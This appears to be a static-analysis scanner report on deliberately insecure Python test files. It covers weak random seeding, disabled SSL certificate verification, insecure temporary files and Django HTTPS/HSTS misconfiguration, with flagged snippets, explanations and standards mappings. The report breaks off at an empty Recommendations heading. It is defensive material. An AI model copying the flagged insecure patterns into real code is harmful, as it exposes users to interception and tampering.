Vulnerabilities

File tests\Insecure_Randomness__Weak_Entropy_Source.py, Line 4, Pos 1

```
4 random.seed(time.time())
```

Recommendations

- Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

Links

[1] Elaine Barker and John Kelsey NIST DRAFT Special Publication 800-90B: Recommendation for the Entropy Sources Used for Random Bit Generation NIST (http://csrc.nist.gov/publications/drafts/800-90/draft-sp800-90b.pdf)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 331
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.3.1 Authenticator Lifecycle Requirements, 2.6.2 Look-up Secret Verifier Requirements, 3.2.2 Session Binding Requirements, 3.2.4 Session Binding Requirements, 6.3.3 Random Values
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.3 - Use of Cryptography
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.3 - Use of Cryptography, Control Objective B.2.4 - Terminal Software Design
[22] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 330
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.2 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.2 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.2 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.2 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.2 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.2 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.2 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II

Insecure SSL: Server Identity Verification Disabled

Description

Server identity verification is disabled when making SSL connections.

Explanation

In some libraries that use SSL connections, it is possible to disable server certificate verification. This is equivalent to trusting all certificates.

Example 1: This application does not verify server certificate by default:

```
...
import ssl
ssl_sock = ssl.wrap_socket(s)
...
```

When trying to connect to a valid host, this application would readily accept a certificate issued to "hackedserver.com". The application would now potentially leak sensitive user information on a broken SSL connection to the hacked server.

Severity

High

Vulnerabilities

File tests\Insecure_SSL__Server_Identity_Verification_Disabled.py, Line 2, Pos 12

```
2 ssl_sock = ssl.wrap_socket(s)
```

File tests\Insecure_SSL__Server_Identity_Verification_Disabled.py, Line 4, Pos 12

```
4 ssl_sock = ssl.wrap_socket(s, cert_reqs=CERT_NONE)
```

File tests\Insecure_SSL__Server_Identity_Verification_Disabled.py, Line 5, Pos 12

```
5 ssl_sock = ssl.wrap_socket(s, 2, 3, 4, CERT_OPTIONAL)
```

Recommendations

- Enable validation of SSL Certificate

Links

[1] P. Saint-Andre and J. Hodges RFC 6125: Representation and Verification of Domain-Based Application Service Identity within Internet Public Key Infrastructure Using X.509 (PKIX) Certificates in the Context of Transport Layer Security (TLS) Internet Engineering Task Force (IETF) (https://tools.ietf.org/html/rfc6125)
[2] Python Software Foundation PEP 476 - Enabling certificate verification by default for stdlib http clients. (https://www.python.org/dev/peps/pep-0476/)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 297
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [25] CWE ID 295
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287

[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000185, CCI-001941, CCI-001942, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[7] Standards Mapping - FIPS200 CM, SC
[8] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[11] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[12] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[13] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[14] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[15] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[16] Standards Mapping - OWASP Mobile 2014 M3 Insufficient Transport Layer Protection
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 9.2.1 Server Communications Security Requirements, 9.2.3 Server Communications Security Requirements
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[27] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II

[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450

CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)

Insecure Temporary File

Description

Creating and using insecure temporary files can leave application and system data vulnerable to attacks.

Explanation

Applications require temporary files so frequently that many different mechanisms exist for creating them. Most of these functions are vulnerable to various forms of attacks.

Example: The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

```
...
try:
    tmp_filename = os.tempnam()
    tmp_file = open(tmp_filename, 'w')
    data = s.recv(4096)
    while True:
        more = s.recv(4096)
        tmp_file.write(more)
        if not more:
            break
except socket.timeout:
    errMsg = "Connection timed-out while connecting"
    self.logger.exception(errMsg)
    raise Exception
...
```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks.

Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant. See the Recommendations section for information about safe core language functions and advice regarding a secure approach to creating temporary files.

The functions designed to aid in the creation of temporary files can be broken into two groups based on whether they simply provide a filename or actually open a new file.

Group 1 - "Unique" Filenames:

The first group of functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess.

If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions.

Finally, in the best case the file will be opened with a call to open() using the os.O_CREAT and os.O_EXCL flags, which will fail if the file already exists and therefore prevent the types of attacks described previously. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions.

Group 2 - "Unique" Files:

The second group of functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes functions like tmpfile().

The tmpfile() style functions construct a unique filename and open it in the same way that open() would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, tmpfile() will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker may pre-create the file with relaxed access-permissions that will likely be retained by the file opened by tmpfile(). Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if tmpfile() does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance.

Severity

Low

Vulnerabilities

File tests\Insecure_Temporary_File.py, Line 3, Pos 5

```
f = tempfile.mktemp()
```

Recommendations

● Use of this function may introduce a security hole in your program. By the time you get around to doing anything with the file name it returns, someone else may have beaten you to the punch. mktemp() usage can be replaced easily with NamedTemporaryFile(), passing it the delete=False parameter: f = NamedTemporaryFile(delete=False)

Links

[1] B. Schneier Yarrow: A secure pseudorandom number generator (http://www.schneier.com/yarrow.html)
[2] Python Library Reference: os Python (https://docs.python.org/2/library/os.html)
[3] Python Library Reference: tempfile Python (https://docs.python.org/2/library/tempfile.html)
[4] Symlink race WikiPedia (http://en.wikipedia.org/wiki/Symlink_race)
[5] Time of check to time of use WikiPedia (http://en.wikipedia.org/wiki/Time_of_check_to_time_of_use)
[6] Standards Mapping - Common Weakness Enumeration CWE ID 377
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001090
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-4 Information in Shared Resources (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-4 Information in Shared System Resources
[11] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002380 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002380 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002380 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002380 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002380 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002380 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002380 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002380 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002380 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002380 CAT II

[21] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002380 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002380 CAT II

Insecure Transport

Description

The application is not configured to send HTTP redirects over SSL/TLS.

Explanation

All communication over HTTP, FTP, or gopher is unauthenticated and unencrypted. It is therefore subject to compromise.

Django does not serve HTTP redirects over SSL by default, so data in these redirected connections can be compromised as they are delivered over an unencrypted and unauthenticated channel.

Example 1: The following code uses the SecurityMiddleware but does not explicitly set SECURE_SSL_REDIRECT to True.

```
...
MIDDLEWARE_CLASSES = (
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'csp.middleware.CSPMiddleware',
    'django.middleware.security.SecurityMiddleware',
    ...
)
...
```

Severity

High

Vulnerabilities

File tests\Insecure_Transport.py, Line 1, Pos 1

```
1 SECURE_SSL_REDIRECT = False
```

File tests\Insecure_Transport.py, Line 2, Pos 1

```
2 SECURE_SSL_REDIRECT = 0
```

File tests\Insecure_Transport.py, Line 4, Pos 9

```
4 connect("http://example.com")
```

File tests\Insecure_Transport.py, Line 5, Pos 10

```
5 download("ftp://example.com")
```

Recommendations

- Encrypt the data with a reliable encryption scheme before transmitting.
- When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

- Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

Links

[1] SECURE_SSL_REDIRECT setting The Django Foundation Group (https://docs.djangoproject.com/en/dev/ref/settings/#secure-ssl-redirect)
[2] django-secure Plugin Django-secure (http://django-secure.readthedocs.org/en/latest/)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 319
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000068, CCI-001453, CCI-002418, CCI-002420, CCI-002421, CCI-002422, CCI-002890, CCI-003123
[5] Standards Mapping - FIPS200 SC
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[9] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[10] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[11] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M3 Insufficient Transport Layer Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.9.1 Communications Architectural Requirements, 1.14.1 Configuration Architectural Requirements, 2.2.5 General Authenticator Requirements, 2.6.3 Look-up Secret Verifier Requirements, 2.8.3 Single or Multi Factor One Time Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 6.2.2 Algorithms, 6.2.3 Algorithms, 6.2.4 Algorithms, 6.2.5 Algorithms, 6.2.6 Algorithms, 6.2.7 Algorithms, 8.1.6 General Data Protection, 8.3.1 Sensitive Private Data, 8.3.4 Sensitive Private Data, 8.3.7 Sensitive Private Data, 9.1.1 Communications Security Requirements, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements, 9.2.1 Server Communications Security Requirements, 9.2.2 Server Communications Security Requirements, 9.2.3 Server Communications Security Requirements, 14.1.3 Build, 14.4.5 HTTP Security Headers Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4

[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[25] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[26] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[27] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II,

APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[47] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[48] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)

Insecure Transport: HSTS Does Not Include Subdomains

Description

The application sets HTTP Strict Transport Security (HSTS) headers but fails to apply this protection to subdomains, allowing attackers to steal sensitive information from subdomains connections by performing HTTPS stripping attacks.

Explanation

An HTTPS stripping attack is a type of man-in-the-middle attack where the attacker watches all the HTTP traffic for location headers and links referencing HTTPS and replaces them with HTTP ones. The attacker keeps a list of all HTTP substitutions made so that they can make the HTTPS request back to the server. All stripped HTTP connections are proxied out to the server over HTTPS. All traffic between the victim and the attacker is sent over HTTP, revealing usernames, passwords, and other private information, but the server is still receiving the expected HTTPS traffic from the attacker so nothing seems wrong.

HTTP Strict Transport Security (HSTS) is a security header that instructs the browser to always connect to the site returning the HSTS headers over SSL/TLS during a period specified in the header itself. Any connection to the server over HTTP will be automatically replaced with an HTTPS one, even if the user types http:// in the browser URL bar.

Severity

Medium

Vulnerabilities

File tests\Insecure_Transport__HSTS_Does_Not_Include_Subdomains.py, Line 1, Pos 1

```
1 SECURE_HSTS_INCLUDE_SUBDOMAINS = False
```

File tests\Insecure_Transport__HSTS_Does_Not_Include_Subdomains.py, Line 2, Pos 1

```
2 SECURE_HSTS_INCLUDE_SUBDOMAINS = 0
```

Recommendations

